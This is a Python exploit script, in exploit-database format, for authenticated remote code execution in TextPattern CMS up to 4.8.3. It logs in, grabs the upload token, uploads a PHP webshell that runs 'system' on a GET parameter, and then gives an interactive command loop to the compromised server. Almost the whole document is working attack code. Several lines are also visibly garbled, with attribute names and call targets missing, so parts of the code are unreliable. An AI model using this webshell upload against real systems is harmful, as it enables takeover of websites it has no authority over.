# Exploit Title: TextPattern <= 4.8.3 - Authenticated Remote Code Execution via Unrestricted File Upload
# Google Dork: N/A
# Date: 16/10/2020
# Exploit Author: Michele '0blio_' Cisternino
# Vendor Homepage:
# Software Link:
# Version: <= 4.8.3
# Tested on: Kali Linux x64
# CVE: N/A

import sys
import json
import requests
from bs4 import BeautifulSoup as bs4
from time import sleep
import random
import string
import readline

# Disable SSL warnings

# Simple Terminal User Interface class I wrote to print run-time logs and headers
class Tui ():
    def __init__ (self): = '\033[91m' = '\033[92m' = '\033[94m'
        self.yellow = '\033[93m' = '\033[95m'
        self.end = '\033[0m'
        self.bold = '\033[1m'

    def header (self, software, author, cve='N/A'):
        print ("\n", "{}Software:{} {}".format(, self.end, software), sep='')
        print ("{}CVE:{} {}".format(, self.end, cve))
        print ("{}Author:{} {}\n".format(, self.end, author))

    def info (self, message):
        print ("[{}*{}] {}".format(, self.end, message))

    def greatInfo (self, message):
        print ("[{}*{}] {}{}{}".format(, self.end, self.bold, message, self.end))

    def success (self, message):
        print ("[{}โœ“{}] {}{}{}".format(, self.end, self.bold, message, self.end))

    def warning (self, message):
        print ("[{}!{}] {}".format(self.yellow, self.end, message))

    def error (self, message):
        print ("[{}โœ—{}] {}".format(, self.end, message))

log = Tui()
log.header (software="TextPattern <= 4.8.3", cve="CVE-2020-XXXXX - Authenticated RCE via Unrestricted File Upload", author="Michele '0blio_' Cisternino")

if len(sys.argv) < 4: ("USAGE: python3 username password") ("EXAMPLE: python3 http://localhost admin admin\n")

# Get input from the command line
target, username, password = sys.argv[1:4]

# Fixing URL
target = target.strip()
if not target.startswith("https://") and not target.startswith("http://"):
    target = "http://" + target
if not target.endswith("/"):
    target = target + "/"

accessData = {'p_userid':username, 'p_password':password, '_txp_token':""}

# Login ("Authenticating to the target as '{}'".format(username))
s = requests.Session()
    r = + "textpattern/index.php", data=accessData, verify=False)
    if r.status_code == 200:
        log.success ("Logged in as '{}' (Cookie: txp_login={}; txp_login_public={})".format(username, s.cookies['txp_login'], s.cookies['txp_login_public']))

        # Parsing the response to find the upload token inside the main json array ("Grabbing _txp_token (required to proceed with exploitation)..")
        soup = bs4(r.text, 'html.parser')
        scriptJS = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-2]
        scriptJS = json.loads(scriptJS)
        uploadToken = scriptJS['_txp_token']
        log.greatInfo ("Upload token grabbed successfully ({})".format(uploadToken))

    # The server reply with a 401 with the user provide wrong creds as input
    elif r.status_code == 401:
        log.error ("Unable to login. You provided wrong credentials..\n")
except requests.exceptions.ConnectionError:
    log.error ("Unable to connect to the target!")

# Crafting the upload request here
headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Accept" : "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
    "Accept-Encoding" : "gzip, deflate",
    "X-Requested-With" : "XMLHttpRequest",
    "Connection" : "close",

# Generating random webshell name
randomFilename = ''.join(random.choice(string.ascii_letters) for i in range(10)) + '.php'

# Mapping multiparts here
multipart_form_data = {
    "fileInputOrder" : (None, '1/1'),
    "app_mode" : (None, 'async'),
    "MAX_FILE_SIZE" : (None, '2000000'),
    "event" : (None, 'file'),
    "step" : (None, 'file_insert'),
    "id" : (None, ' '),
    "_txp_token" : (None, uploadToken), # Token here
    "thefile[]" : (randomFilename, '<?php system($_GET["efcd"]); ?>') # lol

# Uploading the webshell
log.warning ("Sending payload..")

    r = (target + "textpattern/index.php?event=file", verify=False, headers=headers, files=multipart_form_data)
    if "Files uploaded" in r.text:
        log.success ("Webshell uploaded successfully as {}".format(randomFilename))
    log.error ("Unexpected error..")


# Interact with the webshell (using the readline library to save the history of the executed commands at run-time)
log.greatInfo ("Interacting with the HTTP webshell..")
sleep (1)

while 1:
        cmd = input ("\033[4m\033[91mwebshell\033[0m > ")
        if cmd == 'exit':
            raise KeyboardInterrupt
        r = requests.get (target + "files/" + randomFilename + "?efcd=" + cmd, verify=False)
        print (r.text)
    except KeyboardInterrupt:
        log.warning ("Stopped.")
        log.error ("Unexpected error..")